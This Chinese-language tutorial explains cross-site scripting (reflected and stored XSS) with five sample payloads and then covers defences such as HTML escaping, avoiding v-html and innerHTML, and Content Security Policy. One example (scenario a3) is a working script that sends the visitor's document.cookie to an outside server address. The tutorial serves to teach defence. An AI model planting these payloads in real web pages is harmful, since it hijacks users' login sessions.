XSS攻击示例

93 阅读4分钟

什么是XSS?

XSS,是跨站脚本(Cross-site scripting) 的简称,这是一种网站应用程序的安全漏洞攻击,代码注入的一种。

其允许恶意用户将代码注入到网页上,之后其他用户在观看网页时就会受到影响,这类攻击通常包含了HTML以及用户端脚本语言如JavaScript等。

XSS的类型:反射型、持久型

反射型XSS是非持久化的,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发,一般是欺骗用户点击特定链接来进行恶意攻击,攻击代码就在url当中。

存储型****XSS攻击,是指将恶意代码被当做正常数据插入到服务器上的数据库中,当用户正常访问页面的时候,恶意代码从数据库中提取出来并被触发。

 

场景a1: 某页面需要将页面携带的参数展示在页面上。某新闻论坛展示页面,通过v-html将爬取的文章展示在页面上,文章内容中携带了script标签。论坛、新闻等场景

a1: `<script>alert('普通xss攻击')</script>`

场景a2: script标签不仅可以进行alert,理论上可以执行任何原生js代码,如直接跳转到另一个页面。论坛、新闻等场景

a2: `<script>window.location.href='https://www.baidu.com'</script>`,

场景a3: 执行js理论上可以获取当前页面的cookie,结合简单的请求发送,能够窃取用户的cookie达到窃取用户登录状态的目的。用户信息表单等场景

`<script>document.write('<img src="http://192.168.102.154:9004/api/getCookie?cookie='+document.cookie+'">')</script>`

如图:黑客拥有一处服务器接口,可以接收到网页img的get请求,得到cookie参数。拿到cookie后就可以进行登录窃取了

 

 

 

 

场景a4: xss攻击广泛存在于jquery等旧的框架中,如innerHTML=,apppendChildren等。在html5中,v-html并不会执行script标签中的脚本

不只是script标签,但是xss攻击也是无孔不入的,看看下面这种情况:

 a4: `<img src='xxx' onerror="alert(/img标签xss攻击/)" />`

img的src资源写为一个无意义的参数,将js代码写在onerror事件中,也会达到响应的目的。

 

场景a5:以上a1-a4更偏向于存储型xss攻击,下面这种属于标准的反射型场景: 某页面需要将页面携带的参数keyword展示在页面上。某黑客将如下链接发送给用户 。钓鱼链接等场景

http://localhost:8081/safety-share?keyword=%3Cscript%3Ealert%28%27%E5%95%A6%E5%95%A6%E5%95%A6%27%29%3C%2Fscript%3E。

url中的keyword参数,在js代码逻辑中被处理为保留原格式展示在页面中。

 

如何应对XSS攻击:凡是用户输入皆不可信!控制用户输入+限制浏览器输出

 

xss攻击是无处不在的,并没有完美的防止xss攻击的方式,黑客有很多方法可以进行语句构造,但是如果做好以下几点,将最大程度减少损失。

 

1.对于用户主动输入要进行严控,做好字符过滤(如script,需要总结经验),字符转义(将html标签转义为字符),限制长度(能有效避免损失)

2.慎用v-html等使用模板语言,少用innnerHtml等原生语言。

3.开启csp,对于外源性脚本谨慎。

4.对于论坛类、用户表单类、新闻展示类等场景进行特别测试,定期进行xss排查。

 

 

1.字符转义。防止用户恶意输入script标签 && 将不需要保留格式的html标签处理为文本格式

import _ from 'lodash'
methods: {
    escape(str) {
      return _.escape(str)
    }
}

 

 

 

 

2.开启csp( Content Security Policy) web的第一道防线

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。开启csp后,如上场景a3可以屏蔽相应的请求
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。